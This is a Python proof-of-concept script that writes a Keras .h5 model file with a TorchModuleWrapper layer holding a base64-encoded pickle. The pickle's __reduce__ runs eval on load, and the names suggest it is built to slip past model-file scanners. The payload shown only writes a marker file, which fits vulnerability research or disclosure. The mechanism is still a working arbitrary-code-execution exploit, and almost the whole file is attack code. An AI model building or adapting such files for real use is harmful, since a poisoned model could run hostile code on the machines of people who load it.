import base64
import json
import pickle
from pathlib import Path

import h5py


OUT = Path(__file__).resolve().parent / "poc_h5_torch_wrapper.h5"
MARKER = "h5_torch_wrapper_marker.txt"
MARKER_TEXT = "H5_TORCH_WRAPPER_BYPASS"


class MarkerPayload:
    def __reduce__(self):
        expr = (
            "__import__('pathlib').Path("
            f"{MARKER!r}"
            ").write_text("
            f"{MARKER_TEXT!r}"
            ")"
        )
        return (eval, (expr,))


def serialized_dtype_policy():
    return {
        "module": "keras",
        "class_name": "DTypePolicy",
        "config": {"name": "float32"},
        "registered_name": None,
    }


def build_model_config(module_b64):
    return {
        "module": "keras",
        "class_name": "Sequential",
        "config": {
            "name": "h5_torch_wrapper_scanner_gap",
            "trainable": True,
            "dtype": serialized_dtype_policy(),
            "layers": [
                {
                    "module": "keras.layers",
                    "class_name": "TorchModuleWrapper",
                    "config": {
                        "name": "h5_torch_wrapper_payload",
                        "trainable": True,
                        "dtype": serialized_dtype_policy(),
                        "module": module_b64,
                        "output_shape": [1],
                    },
                    "registered_name": None,
                }
            ],
        },
        "registered_name": None,
    }


def main():
    payload_pickle = pickle.dumps(MarkerPayload(), protocol=4)
    module_b64 = base64.b64encode(payload_pickle).decode("ascii")

    with h5py.File(OUT, "w") as h5:
        h5.attrs["model_config"] = json.dumps(build_model_config(module_b64))
        h5.attrs["keras_version"] = "3.15.0"
        h5.attrs["backend"] = "tensorflow"
        h5.create_group("model_weights")

    print(OUT)
    print(f"Embedded pickle bytes: {len(payload_pickle)}")
    print(f"Embedded marker file: {MARKER}")


if __name__ == "__main__":
    main()